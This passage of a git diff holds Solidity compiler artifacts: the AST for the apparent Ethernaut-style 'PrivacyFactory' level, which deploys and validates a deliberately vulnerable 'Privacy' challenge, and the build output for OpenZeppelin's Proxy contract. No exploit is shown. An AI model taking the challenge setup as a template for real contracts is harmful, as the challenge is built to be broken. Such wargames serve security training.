\"1\""}],"expression":{"id":54225,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"349:3:100","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54226,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"353:12:100","memberName":"encodePacked","nodeType":"MemberAccess","src":"349:16:100","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54230,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"349:32:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":54224,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"339:9:100","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":54231,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"339:43:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"329:53:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":54233,"nodeType":"ExpressionStatement","src":"329:53:100"},{"expression":{"id":54245,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54234,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54206,"src":"392:4:100","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3] memory"}},"id":54236,"indexExpression":{"hexValue":"32","id":54235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"397:1:100","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"392:7:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"expression":{"id":54240,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"429:2:100","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":54241,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"432:6:100","memberName":"origin","nodeType":"MemberAccess","src":"429:9:100","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"32","id":54242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"440:3:100","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad7c5bef027816a800da1736444fb58a807ef4c9603b7848673f7e3a68eb14a5","typeString":"literal_string \"2\""},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_ad7c5bef027816a800da1736444fb58a807ef4c9603b7848673f7e3a68eb14a5","typeString":"literal_string \"2\""}],"expression":{"id":54238,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"412:3:100","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54239,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"416:12:100","memberName":"encodePacked","nodeType":"MemberAccess","src":"412:16:100","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54243,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"412:32:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":54237,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"402:9:100","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":54244,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"402:43:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"392:53:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":54246,"nodeType":"ExpressionStatement","src":"392:53:100"},{"assignments":[54249],"declarations":[{"constant":false,"id":54249,"mutability":"mutable","name":"instance","nameLocation":"463:8:100","nodeType":"VariableDeclaration","scope":54261,"src":"455:16:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"},"typeName":{"id":54248,"nodeType":"UserDefinedTypeName","pathNode":{"id":54247,"name":"Privacy","nameLocations":["455:7:100"],"nodeType":"IdentifierPath","referencedDeclaration":54187,"src":"455:7:100"},"referencedDeclaration":54187,"src":"455:7:100","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"visibility":"internal"}],"id":54255,"initialValue":{"arguments":[{"id":54253,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54206,"src":"486:4:100","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3] memory"}],"id":54252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"474:11:100","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_array$_t_bytes32_$3_memory_ptr_$returns$_t_contract$_Privacy_$54187_$","typeString":"function (bytes32[3] memory) returns (contract Privacy)"},"typeName":{"id":54251,"nodeType":"UserDefinedTypeName","pathNode":{"id":54250,"name":"Privacy","nameLocations":["478:7:100"],"nodeType":"IdentifierPath","referencedDeclaration":54187,"src":"478:7:100"},"referencedDeclaration":54187,"src":"478:7:100","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}}},"id":54254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"474:17:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"nodeType":"VariableDeclarationStatement","src":"455:36:100"},{"expression":{"arguments":[{"id":54258,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54249,"src":"516:8:100","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}],"id":54257,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"508:7:100","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54256,"name":"address","nodeType":"ElementaryTypeName","src":"508:7:100","typeDescriptions":{}}},"id":54259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"508:17:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":54200,"id":54260,"nodeType":"Return","src":"501:24:100"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"158:14:100","overrides":{"id":54197,"nodeType":"OverrideSpecifier","overrides":[],"src":"197:8:100"},"parameters":{"id":54196,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54195,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54262,"src":"173:7:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54194,"name":"address","nodeType":"ElementaryTypeName","src":"173:7:100","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"172:9:100"},"returnParameters":{"id":54200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54199,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54262,"src":"215:7:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54198,"name":"address","nodeType":"ElementaryTypeName","src":"215:7:100","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"214:9:100"},"scope":54287,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":54286,"nodeType":"FunctionDefinition","src":"538:195:100","nodes":[],"body":{"id":54285,"nodeType":"Block","src":"636:97:100","nodes":[],"statements":[{"assignments":[54274],"declarations":[{"constant":false,"id":54274,"mutability":"mutable","name":"instance","nameLocation":"654:8:100","nodeType":"VariableDeclaration","scope":54285,"src":"646:16:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"},"typeName":{"id":54273,"nodeType":"UserDefinedTypeName","pathNode":{"id":54272,"name":"Privacy","nameLocations":["646:7:100"],"nodeType":"IdentifierPath","referencedDeclaration":54187,"src":"646:7:100"},"referencedDeclaration":54187,"src":"646:7:100","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"visibility":"internal"}],"id":54278,"initialValue":{"arguments":[{"id":54276,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54264,"src":"673:9:100","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":54275,"name":"Privacy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54187,"src":"665:7:100","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Privacy_$54187_$","typeString":"type(contract Privacy)"}},"id":54277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"665:18:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"nodeType":"VariableDeclarationStatement","src":"646:37:100"},{"expression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":54283,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":54279,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54274,"src":"700:8:100","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"id":54280,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"709:6:100","memberName":"locked","nodeType":"MemberAccess","referencedDeclaration":54132,"src":"700:15:100","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":54281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"700:17:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":54282,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"721:5:100","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"700:26:100","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":54271,"id":54284,"nodeType":"Return","src":"693:33:100"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"547:16:100","overrides":{"id":54268,"nodeType":"OverrideSpecifier","overrides":[],"src":"612:8:100"},"parameters":{"id":54267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54264,"mutability":"mutable","name":"_instance","nameLocation":"580:9:100","nodeType":"VariableDeclaration","scope":54286,"src":"564:25:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":54263,"name":"address","nodeType":"ElementaryTypeName","src":"564:15:100","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":54266,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54286,"src":"591:7:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54265,"name":"address","nodeType":"ElementaryTypeName","src":"591:7:100","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"563:36:100"},"returnParameters":{"id":54271,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54270,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54286,"src":"630:4:100","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54269,"name":"bool","nodeType":"ElementaryTypeName","src":"630:4:100","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"629:6:100"},"scope":54287,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":54192,"name":"Level","nameLocations":["137:5:100"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"137:5:100"},"id":54193,"nodeType":"InheritanceSpecifier","src":"137:5:100"}],"canonicalName":"PrivacyFactory","contractDependencies":[54187],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54287,55508,46700,48281],"name":"PrivacyFactory","nameLocation":"119:14:100","scope":54288,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":100} \ No newline at end of file diff --git a/contracts/out/Proxy.sol/Proxy.json b/contracts/out/Proxy.sol/Proxy.json new file mode 100644 index 000000000..7b2b4f2bb --- /dev/null +++ b/contracts/out/Proxy.sol/Proxy.json @@ -0,0 +1 @@ +{"abi":[{"type":"fallback","stateMutability":"payable"},{"type":"receive","stateMutability":"payable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"details\":\"This abstract contract provides a fallback function that delegates all calls to another contract using the EVM instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to be specified by overriding the virtual {_implementation} function. Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a different contract through the {_delegate} function. The success and return data of the delegated call will be returned back to the caller of the proxy.\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":\"Proxy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"payable","type":"fallback"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":"Proxy"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol","id":47118,"exportedSymbols":{"Proxy":[47117]},"nodeType":"SourceUnit","src":"99:3148:27","nodes":[{"id":47067,"nodeType":"PragmaDirective","src":"99:23:27","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":47117,"nodeType":"ContractDefinition","src":"723:2523:27","nodes":[{"id":47076,"nodeType":"FunctionDefinition","src":"948:895:27","nodes":[],"body":{"id":47075,"nodeType":"Block","src":"1008:835:27","nodes":[],"statements":[{"AST":{"nativeSrc":"1027:810:27","nodeType":"YulBlock","src":"1027:810:27","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"1280:1:27","nodeType":"YulLiteral","src":"1280:1:27","type":"","value":"0"},{"kind":"number","nativeSrc":"1283:1:27","nodeType":"YulLiteral","src":"1283:1:27","type":"","value":"0"},{"arguments":[],"functionName":{"name":"calldatasize","nativeSrc":"1286:12:27","nodeType":"YulIdentifier","src":"1286:12:27"},"nativeSrc":"1286:14:27","nodeType":"YulFunctionCall","src":"1286:14:27"}],"functionName":{"name":"calldatacopy","nativeSrc":"1267:12:27","nodeType":"YulIdentifier","src":"1267:12:27"},"nativeSrc":"1267:34:27","nodeType":"YulFunctionCall","src":"1267:34:27"},"nativeSrc":"1267:34:27","nodeType":"YulExpressionStatement","src":"1267:34:27"},{"nativeSrc":"1428:74:27","nodeType":"YulVariableDeclaration","src":"1428:74:27","value":{"arguments":[{"arguments":[],"functionName":{"name":"gas","nativeSrc":"1455:3:27","nodeType":"YulIdentifier","src":"1455:3:27"},"nativeSrc":"1455:5:27","nodeType":"YulFunctionCall","src":"1455:5:27"},{"name":"implementation","nativeSrc":"1462:14:27","nodeType":"YulIdentifier","src":"1462:14:27"},{"kind":"number","nativeSrc":"1478:1:27","nodeType":"YulLiteral","src":"1478:1:27","type":"","value":"0"},{"arguments":[],"functionName":{"name":"calldatasize","nativeSrc":"1481:12:27","nodeType":"YulIdentifier","src":"1481:12:27"},"nativeSrc":"1481:14:27","nodeType":"YulFunctionCall","src":"1481:14:27"},{"kind":"number","nativeSrc":"1497:1:27","nodeType":"YulLiteral","src":"1497:1:27","type":"","value":"0"},{"kind":"number","nativeSrc":"1500:1:27","nodeType":"YulLiteral","src":"1500:1:27","type":"","value":"0"}],"functionName":{"name":"delegatecall","nativeSrc":"1442:12:27","nodeType":"YulIdentifier","src":"1442:12:27"},"nativeSrc":"1442:60:27","nodeType":"YulFunctionCall","src":"1442:60:27"},"variables":[{"name":"result","nativeSrc":"1432:6:27","nodeType":"YulTypedName","src":"1432:6:27","type":""}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"1570:1:27","nodeType":"YulLiteral","src":"1570:1:27","type":"","value":"0"},{"kind":"number","nativeSrc":"1573:1:27","nodeType":"YulLiteral","src":"1573:1:27","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nativeSrc":"1576:14:27","nodeType":"YulIdentifier","src":"1576:14:27"},"nativeSrc":"1576:16:27","nodeType":"YulFunctionCall","src":"1576:16:27"}],"functionName":{"name":"returndatacopy","nativeSrc":"1555:14:27","nodeType":"YulIdentifier","src":"1555:14:27"},"nativeSrc":"1555:38:27","nodeType":"YulFunctionCall","src":"1555:38:27"},"nativeSrc":"1555:38:27","nodeType":"YulExpressionStatement","src":"1555:38:27"},{"cases":[{"body":{"nativeSrc":"1688:59:27","nodeType":"YulBlock","src":"1688:59:27","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"1713:1:27","nodeType":"YulLiteral","src":"1713:1:27","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nativeSrc":"1716:14:27","nodeType":"YulIdentifier","src":"1716:14:27"},"nativeSrc":"1716:16:27","nodeType":"YulFunctionCall","src":"1716:16:27"}],"functionName":{"name":"revert","nativeSrc":"1706:6:27","nodeType":"YulIdentifier","src":"1706:6:27"},"nativeSrc":"1706:27:27","nodeType":"YulFunctionCall","src":"1706:27:27"},"nativeSrc":"1706:27:27","nodeType":"YulExpressionStatement","src":"1706:27:27"}]},"nativeSrc":"1681:66:27","nodeType":"YulCase","src":"1681:66:27","value":{"kind":"number","nativeSrc":"1686:1:27","nodeType":"YulLiteral","src":"1686:1:27","type":"","value":"0"}},{"body":{"nativeSrc":"1768:59:27","nodeType":"YulBlock","src":"1768:59:27","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"1793:1:27","nodeType":"YulLiteral","src":"1793:1:27","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nativeSrc":"1796:14:27","nodeType":"YulIdentifier","src":"1796:14:27"},"nativeSrc":"1796:16:27","nodeType":"YulFunctionCall","src":"1796:16:27"}],"functionName":{"name":"return","nativeSrc":"1786:6:27","nodeType":"YulIdentifier","src":"1786:6:27"},"nativeSrc":"1786:27:27","nodeType":"YulFunctionCall","src":"1786:27:27"},"nativeSrc":"1786:27:27","nodeType":"YulExpressionStatement","src":"1786:27:27"}]},"nativeSrc":"1760:67:27","nodeType":"YulCase","src":"1760:67:27","value":"default"}],"expression":{"name":"result","nativeSrc":"1614:6:27","nodeType":"YulIdentifier","src":"1614:6:27"},"nativeSrc":"1607:220:27","nodeType":"YulSwitch","src":"1607:220:27"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":47071,"isOffset":false,"isSlot":false,"src":"1462:14:27","valueSize":1}],"id":47074,"nodeType":"InlineAssembly","src":"1018:819:27"}]},"documentation":{"id":47069,"nodeType":"StructuredDocumentation","src":"753:190:27","text":" @dev Delegates the current call to `implementation`.\n This function does not return to its internal call site, it will return directly to the external caller."},"implemented":true,"kind":"function","modifiers":[],"name":"_delegate","nameLocation":"957:9:27","parameters":{"id":47072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47071,"mutability":"mutable","name":"implementation","nameLocation":"975:14:27","nodeType":"VariableDeclaration","scope":47076,"src":"967:22:27","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47070,"name":"address","nodeType":"ElementaryTypeName","src":"967:7:27","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"966:24:27"},"returnParameters":{"id":47073,"nodeType":"ParameterList","parameters":[],"src":"1008:0:27"},"scope":47117,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47082,"nodeType":"FunctionDefinition","src":"2027:67:27","nodes":[],"documentation":{"id":47077,"nodeType":"StructuredDocumentation","src":"1849:173:27","text":" @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n and {_fallback} should delegate."},"implemented":false,"kind":"function","modifiers":[],"name":"_implementation","nameLocation":"2036:15:27","parameters":{"id":47078,"nodeType":"ParameterList","parameters":[],"src":"2051:2:27"},"returnParameters":{"id":47081,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47080,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47082,"src":"2085:7:27","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47079,"name":"address","nodeType":"ElementaryTypeName","src":"2085:7:27","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2084:9:27"},"scope":47117,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":47095,"nodeType":"FunctionDefinition","src":"2322:110:27","nodes":[],"body":{"id":47094,"nodeType":"Block","src":"2360:72:27","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":47086,"name":"_beforeFallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47116,"src":"2370:15:27","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function ()"}},"id":47087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2370:17:27","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47088,"nodeType":"ExpressionStatement","src":"2370:17:27"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":47090,"name":"_implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47082,"src":"2407:15:27","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2407:17:27","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47089,"name":"_delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47076,"src":"2397:9:27","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":47092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2397:28:27","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47093,"nodeType":"ExpressionStatement","src":"2397:28:27"}]},"documentation":{"id":47083,"nodeType":"StructuredDocumentation","src":"2100:217:27","text":" @dev Delegates the current call to the address returned by `_implementation()`.\n This function does not return to its internal call site, it will return directly to the external caller."},"implemented":true,"kind":"function","modifiers":[],"name":"_fallback","nameLocation":"2331:9:27","parameters":{"id":47084,"nodeType":"ParameterList","parameters":[],"src":"2340:2:27"},"returnParameters":{"id":47085,"nodeType":"ParameterList","parameters":[],"src":"2360:0:27"},"scope":47117,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47103,"nodeType":"FunctionDefinition","src":"2629:64:27","nodes":[],"body":{"id":47102,"nodeType":"Block","src":"2665:28:27","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":47099,"name":"_fallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47095,"src":"2675:9:27","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function 